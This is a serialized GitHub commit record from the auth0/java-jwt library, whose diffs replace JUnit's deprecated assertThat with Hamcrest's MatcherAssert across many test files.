         return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
     }uau(81534d0053e69f1517359f67b851c7d4997a7c9a}(sha(81534d0053e69f1517359f67b851c7d4997a7c9anode_idEC_kwDOAQtL0doAKDgxNTM0ZDAwNTNlNjlmMTUxNzM1OWY2N2I4NTFjN2Q0OTk3YTdjOWEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-02-28T10:17:26Zu	committer}(jw-  
Poovamraj T Tjy-  poovamraj@gmail.comj{-  2022-02-28T10:17:26Zumessage-Replace deprecated assertThat method in teststree}(jo-  (5c644170d2b38d93ce49b29af46e2e0a01422fd8url^https://api.github.com/repos/auth0/java-jwt/git/trees/5c644170d2b38d93ce49b29af46e2e0a01422fd8uj-  `https://api.github.com/repos/auth0/java-jwt/git/commits/81534d0053e69f1517359f67b851c7d4997a7c9a
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj-  \https://api.github.com/repos/auth0/java-jwt/commits/81534d0053e69f1517359f67b851c7d4997a7c9ahtml_urlQhttps://github.com/auth0/java-jwt/commit/81534d0053e69f1517359f67b851c7d4997a7c9acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/81534d0053e69f1517359f67b851c7d4997a7c9a/commentsju-  }(login	poovamrajidJ jq-  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j-  &https://api.github.com/users/poovamrajj-  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj}-  }(j-  	poovamrajj-  J jq-  MDQ6VXNlcjE1OTEwNDI1j-  4https://avatars.githubusercontent.com/u/15910425?v=4j-  h3j-  &https://api.github.com/users/poovamrajj-  https://github.com/poovamrajj-  0https://api.github.com/users/poovamraj/followersj-  =https://api.github.com/users/poovamraj/following{/other_user}j-  6https://api.github.com/users/poovamraj/gists{/gist_id}j-  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j-  4https://api.github.com/users/poovamraj/subscriptionsj-  +https://api.github.com/users/poovamraj/orgsj-  ,https://api.github.com/users/poovamraj/reposj-  7https://api.github.com/users/poovamraj/events{/privacy}j-  6https://api.github.com/users/poovamraj/received_eventsj-  Userj-  uparents]}(jo-  (a043f0284389d4efd58494264ce5ba2c79332410j-  \https://api.github.com/repos/auth0/java-jwt/commits/a043f0284389d4efd58494264ce5ba2c79332410j-  Qhttps://github.com/auth0/java-jwt/commit/a043f0284389d4efd58494264ce5ba2c79332410uastats}(totalKt	additionsK8	deletionsK<ufiles](}(jo-  (0feb7c40e5dc5ab1adb3663a089bc877db285db0filename2lib/src/test/java/com/auth0/jwt/ClockImplTest.javastatusmodifiedj-  Kj-  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9apatch@@ -7,7 +7,7 @@
 
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.notNullValue;
-import static org.junit.Assert.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class ClockImplTest {
 u}(jo-  (0cbafc35018652195c6f5a2d8a89561dfc0be845j-  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  X  @@ -16,7 +16,7 @@
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 u}(jo-  (77ac4d188993ec2f832f97f931ee59c863b124f6j-  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj-  modifiedj-  Kj-  Kj-  K!j-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  XQ  @@ -6,7 +6,6 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
 import org.hamcrest.core.IsCollectionContaining;
-import org.junit.Assert;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -244,60 +243,60 @@ public void shouldNotGetNullClaimIfClaimIsEmptyObject() throws Exception {
     public void shouldGetCustomClaimOfTypeInteger() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxMjN9.XZAudnA7h3_Al5kJydzLjw6RzZC3Q6OvnLEYlhNW7HA";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asInt(), is(123));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asInt(), is(123));
     }
 
     @Test
     public void shouldGetCustomClaimOfTypeDouble() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoyMy40NX0.7pyX2OmEGaU9q15T8bGFqRm-d3RVTYnqmZNZtxMKSlA";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asDouble(), is(23.45));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asDouble(), is(23.45));
     }
 
     @Test
     public void shouldGetCustomClaimOfTypeBoolean() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjp0cnVlfQ.FwQ8VfsZNRqBa9PXMinSIQplfLU4-rkCLfIlTLg_MV0";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asBoolean(), is(true));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asBoolean(), is(true));
     }
 
     @Test
     public void shouldGetCustomClaimOfTypeDate() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
         Date date = new Date(1478891521000L);
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asDate().getTime(), is(date.getTime()));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asDate().getTime(), is(date.getTime()));
     }
 
     @Test
     public void shouldGetCustomArrayClaimOfTypeString() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asArray(String.class), arrayContaining("text", "123", "true"));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asArray(String.class), arrayContaining("text", "123", "true"));
     }
 
     @Test
     public void shouldGetCustomArrayClaimOfTypeInteger() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSwyLDNdfQ.UEuMKRQYrzKAiPpPLhIVawWkKWA1zj0_GderrWUIyFE";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asArray(Integer.class), arrayContaining(1, 2, 3));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asArray(Integer.class), arrayContaining(1, 2, 3));
     }
 
     @Test
     public void shouldGetCustomMapClaim() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjp7InN0cmluZyI6InZhbHVlIiwibnVtYmVyIjoxLCJib29sZWFuIjp0cnVlfX0.-8aIaXd2-rp1lLuDEQmCeisCBX9X_zbqdPn2llGxNoc";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
+        assertThat(jwt, is(notNullValue()));
         Map<String, Object> map = jwt.getClaim("name").asMap();
-        Assert.assertThat(map, hasEntry("string", (Object) "value"));
-        Assert.assertThat(map, hasEntry("number", (Object) 1));
-        Assert.assertThat(map, hasEntry("boolean", (Object) true));
+        assertThat(map, hasEntry("string", (Object) "value"));
+        assertThat(map, hasEntry("number", (Object) 1));
+        assertThat(map, hasEntry("boolean", (Object) true));
     }
 
     @Testu}(jo-  (6004e1422f5350c3cfda794f5645af9cb9106435j-  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  X	  @@ -18,7 +18,7 @@
 import java.util.Date;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 u}(jo-  (99e8b104528a6e9391c3d1ad4e66abca2ce476dej-  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  X  @@ -18,7 +18,7 @@
 
 import static org.hamcrest.Matchers.startsWith;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.*;
 
 public class JWTVerifierTest {u}(jo-  (a9ad8cbe46901f397837a8db9c485b6f28bab28aj-  3lib/src/test/java/com/auth0/jwt/TokenUtilsTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  @@ -6,7 +6,7 @@
 import org.junit.rules.ExpectedException;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class TokenUtilsTest {
 u}(jo-  (d2e26e9ac37f23c6700262cda72a6c81d1f8c44dj-  =lib/src/test/java/com/auth0/jwt/algorithms/AlgorithmTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  XL  @@ -12,7 +12,7 @@
 import java.security.interfaces.*;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.withSettings;
 import static org.mockito.ArgumentMatchers.any;u}(jo-  (ef8e65e8e2fbe065a70913d59199dc5e3f5b2f8dj-  @lib/src/test/java/com/auth0/jwt/algorithms/CryptoTestHelper.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  X  @@ -6,7 +6,7 @@
 import java.util.regex.Pattern;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.Assert.fail;
 
 public abstract class CryptoTestHelper {u}(jo-  (8dd00ca3a805ca26e18d680051f4dff0223490c2j-  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj-  modifiedj-  Kj-  Kj-  K*j-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  X?  @@ -6,7 +6,6 @@
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import org.hamcrest.Matchers;
 import org.hamcrest.collection.IsIn;
-import org.junit.Assert;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -27,14 +26,13 @@
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.Matchers.isA;
 import static org.hamcrest.Matchers.nullValue;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.internal.matchers.ThrowableMessageMatcher.hasMessage;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
-@SuppressWarnings("deprecation")
 public class ECDSAAlgorithmTest {
 
     private static final String PRIVATE_KEY_FILE_256 = "src/test/resources/ec256-key-private.pem";
@@ -1136,10 +1134,10 @@ public void shouldDecodeECDSA512DER() throws Exception {
 
     //Test Helpers
     static void assertValidJOSESignature(byte[] joseSignature, int numberSize, boolean withRPadding, boolean withSPadding) {
-        Assert.assertThat(joseSignature, is(Matchers.notNullValue()));
-        Assert.assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+        assertThat(joseSignature, is(Matchers.notNullValue()));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
 
-        Assert.assertThat(joseSignature.length, is(numberSize * 2));
+        assertThat(joseSignature.length, is(numberSize * 2));
 
         byte[] rCopy = Arrays.copyOfRange(joseSignature, 0, numberSize);
         byte[] sCopy = Arrays.copyOfRange(joseSignature, numberSize, numberSize * 2);
@@ -1154,12 +1152,12 @@ static void assertValidJOSESignature(byte[] joseSignature, int numberSize, boole
         if (withSPadding) {
             sNumber[0] = (byte) 0;
         }
-        Assert.assertThat(Arrays.equals(rNumber, rCopy), is(true));
-        Assert.assertThat(Arrays.equals(sNumber, sCopy), is(true));
+        assertThat(Arrays.equals(rNumber, rCopy), is(true));
+        assertThat(Arrays.equals(sNumber, sCopy), is(true));
     }
 
     static byte[] createDERSignature(int numberSize, boolean withRPadding, boolean withSPadding) {
-        Assert.assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
 
         int rLength = withRPadding ? numberSize - 1 : numberSize;
         int sLength = withSPadding ? numberSize - 1 : numberSize;
@@ -1202,7 +1200,7 @@ static byte[] createDERSignature(int numberSize, boolean withRPadding, boolean w
     }
 
     static byte[] createJOSESignature(int numberSize, boolean withRPadding, boolean withSPadding) {
-        Assert.assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
 
         byte[] rNumber = new byte[numberSize];
         byte[] sNumber = new byte[numberSize];
@@ -1221,43 +1219,43 @@ static byte[] createJOSESignature(int numberSize, boolean withRPadding, boolean
     }
 
     static void assertValidDERSignature(byte[] derSignature, int numberSize, boolean withRPadding, boolean withSPadding) {
-        Assert.assertThat(derSignature, is(Matchers.notNullValue()));
-        Assert.assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+        assertThat(derSignature, is(Matchers.notNullValue()));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
 
         int rLength = withRPadding ? numberSize - 1 : numberSize;
         int sLength = withSPadding ? numberSize - 1 : numberSize;
         int totalLength = 2 + (2 + rLength) + (2 + sLength);
         int offset = 0;
 
         //Start sequence
-        Assert.assertThat(derSignature[offset++], is((byte) 0x30));
+        assertThat(derSignature[offset++], is((byte) 0x30));
         if (totalLength > 0x7f) {
             //Add sign before sequence length
             totalLength++;
-            Assert.assertThat(derSignature[offset++], is((byte) 0x81));
+            assertThat(derSignature[offset++], is((byte) 0x81));
         }
         //Sequence length
-        Assert.assertThat(derSignature[offset++], is((byte) (totalLength - offset)));
+        assertThat(derSignature[offset++], is((byte) (totalLength - offset)));
 
         //R number
-        Assert.assertThat(derSignature[offset++], is((byte) 0x02));
-        Assert.assertThat(derSignature[offset++], is((byte) rLength));
+        assertThat(derSignature[offset++], is((byte) 0x02));
+        assertThat(derSignature[offset++], is((byte) rLength));
         byte[] rCopy = Arrays.copyOfRange(derSignature, offset, offset + rLength);
         offset += rLength;
 
         //S number
-        Assert.assertThat(derSignature[offset++], is((byte) 0x02));
-        Assert.assertThat(derSignature[offset++], is((byte) sLength));
+        assertThat(derSignature[offset++], is((byte) 0x02));
+        assertThat(derSignature[offset++], is((byte) sLength));
         byte[] sCopy = Arrays.copyOfRange(derSignature, offset, offset + sLength);
 
 
         byte[] rNumber = new byte[rLength];
         byte[] sNumber = new byte[sLength];
         Arrays.fill(rNumber, (byte) 0x11);
         Arrays.fill(sNumber, (byte) 0x22);
-        Assert.assertThat(Arrays.equals(rNumber, rCopy), is(true));
-        Assert.assertThat(Arrays.equals(sNumber, sCopy), is(true));
-        Assert.assertThat(derSignature.length, is(totalLength));
+        assertThat(Arrays.equals(rNumber, rCopy), is(true));
+        assertThat(Arrays.equals(sNumber, sCopy), is(true));
+        assertThat(derSignature.length, is(totalLength));
     }
 
     @Testu}(jo-  (675baeff3a24741f4f047c24500b4093bc74e621j-  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  X  @@ -25,7 +25,7 @@
 import static com.auth0.jwt.algorithms.ECDSAAlgorithmTest.*;
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.internal.matchers.ThrowableMessageMatcher.hasMessage;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;u}(jo-  (ded62aff6e802110e79912d5a33cc29faacedd55j-  Alib/src/test/java/com/auth0/jwt/algorithms/HMACAlgorithmTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  X
  @@ -19,8 +19,8 @@
 import static com.auth0.jwt.algorithms.CryptoTestHelper.assertSignaturePresent;
 import static com.auth0.jwt.algorithms.CryptoTestHelper.assertSignatureValue;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertTrue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.Assert.assertArrayEquals;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.Mockito.mock;
@@ -36,8 +36,8 @@ public class HMACAlgorithmTest {
     @Test
     public void shouldGetStringBytes() throws Exception {
         String text = "abcdef123456!@#$%^";
-        byte[] expectedBytes = text.getBytes("UTF-8");
-        assertTrue(Arrays.equals(expectedBytes, HMACAlgorithm.getSecretBytes(text)));
+        byte[] expectedBytes = text.getBytes(StandardCharsets.UTF_8);
+        assertArrayEquals(expectedBytes, HMACAlgorithm.getSecretBytes(text));
     }
 
     @Testu}(jo-  (f4946dfaeba2c6653b1fba4402bd516a77231554j-  Alib/src/test/java/com/auth0/jwt/algorithms/NoneAlgorithmTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  @@ -8,7 +8,7 @@
 import org.junit.rules.ExpectedException;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class NoneAlgorithmTest {
 u}(jo-  (d7a062af255a6d8c0eda1ae10c303e74d688d336j-  @lib/src/test/java/com/auth0/jwt/algorithms/RSAAlgorithmTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  X  @@ -17,15 +17,14 @@
 import static com.auth0.jwt.PemUtils.readPrivateKeyFromFile;
 import static com.auth0.jwt.PemUtils.readPublicKeyFromFile;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.internal.matchers.ThrowableMessageMatcher.hasMessage;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 import static com.auth0.jwt.algorithms.CryptoTestHelper.*;
 
-@SuppressWarnings("deprecation")
 public class RSAAlgorithmTest {
 
     private static final String PRIVATE_KEY_FILE = "src/test/resources/rsa-private.pem";u}(jo-  (faa4894811a470235e54f333d8be3136e1a350aej-  :lib/src/test/java/com/auth0/jwt/impl/ClaimsHolderTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolderTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolderTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolderTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  @@ -7,7 +7,7 @@
 import java.util.Map;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class ClaimsHolderTest {
